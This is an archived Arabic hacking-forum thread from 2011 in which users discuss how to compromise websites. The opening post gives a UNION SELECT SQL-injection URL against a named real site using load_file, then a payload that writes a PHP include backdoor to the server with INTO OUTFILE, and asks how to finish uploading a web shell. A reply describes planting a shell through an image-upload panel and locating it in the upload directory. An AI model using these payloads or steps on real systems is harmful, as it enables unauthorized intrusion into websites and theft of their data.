:: vBspiders Professional Network ::

:: vBspiders Professional Network :: (http://www.vbspiders.com/vb/index.php)
-   جـــ'ابات العناكــ'ب (http://www.vbspiders.com/vb/forumdisplay.php?f=343)
-   -   استفسار بسيط لمحتريفين المواقع (http://www.vbspiders.com/vb/showthread.php?t=43761)

Dark Crypter 02-25-2011 07:30 PM
استفسار بسيط لمحتريفين المواقع
 
السلام عليكم ورحمته الله وبركاته


حبيت استفسر عن رفع الشل

طبعا في موقع وقبل ان بستقبل load_file('/')

يعني مثال

<a href="http://www.saigosl.com/productos_detalle.php?id=-37" target="_blank">
كود PHP:
http://www.saigosl.com/productos_detalle.php?id=-37 union select 1,2,3,4,5,6,load_file('/'),8,9,10,11,12,13,14,15,16,17,18-- 
وتم وضع بدال load_file('/')

'<?include("$iraq"); ?>'


يعني اصبح

كود PHP:
www.target.com/file.php?id=-1+union+select+1,2,3,'<?include("$iraq"); ?>',5,6,7,8,9+into+outfile"
ما الخطوه الاخره
لتكمله رفع الشل
ومن اين احصل على شل

تحياتي الى الجميع

aircrack -ng 02-26-2011 02:26 AM
حاول ترفع شيل مباشرة اول شيء في اللوحة قبل ماترفع يعني راح تلاقي مركز رفع الصور مثلا احمل بروبريتي لاي صورة موجودة مثلا طلع معانا كذا www.xxxxxxx.com/upload/image/ssssss.jpg احنا بناخذ هي www.xxxxxxx.com/upload/image/ بكاتبة العناوين ونظغط بعدين راح يظهر لنا كل الصور الي مرفوعة بعدين ارفع شلك واذا ماعرفتش مصاره اعمل هيك www.xxxxxxx.com/upload/image/ وبعدين ابحث عليه بين الصور وراح تلاقيه

Dark Crypter 02-26-2011 06:37 PM
اقتباس:
المشاركة الأصلية كتبت بواسطة عبد الصمد (المشاركة 306862)
حاول ترفع شيل مباشرة اول شيء في اللوحة قبل ماترفع يعني راح تلاقي مركز رفع الصور مثلا احمل بروبريتي لاي صورة موجودة مثلا طلع معانا كذا www.xxxxxxx.com/upload/image/ssssss.jpg احنا بناخذ هي www.xxxxxxx.com/upload/image/ بكاتبة العناوين ونظغط بعدين راح يظهر لنا كل الصور الي مرفوعة بعدين ارفع شلك واذا ماعرفتش مصاره اعمل هيك www.xxxxxxx.com/upload/image/ وبعدين ابحث عليه بين الصور وراح تلاقيه

شكرا لك اخي
لكن اغلب مواقع لا ترفع الشل

اذا عندك طريقه اخرى
شكرا لك


الساعة الآن 12:41 AM


[ vBspiders.Com Network ]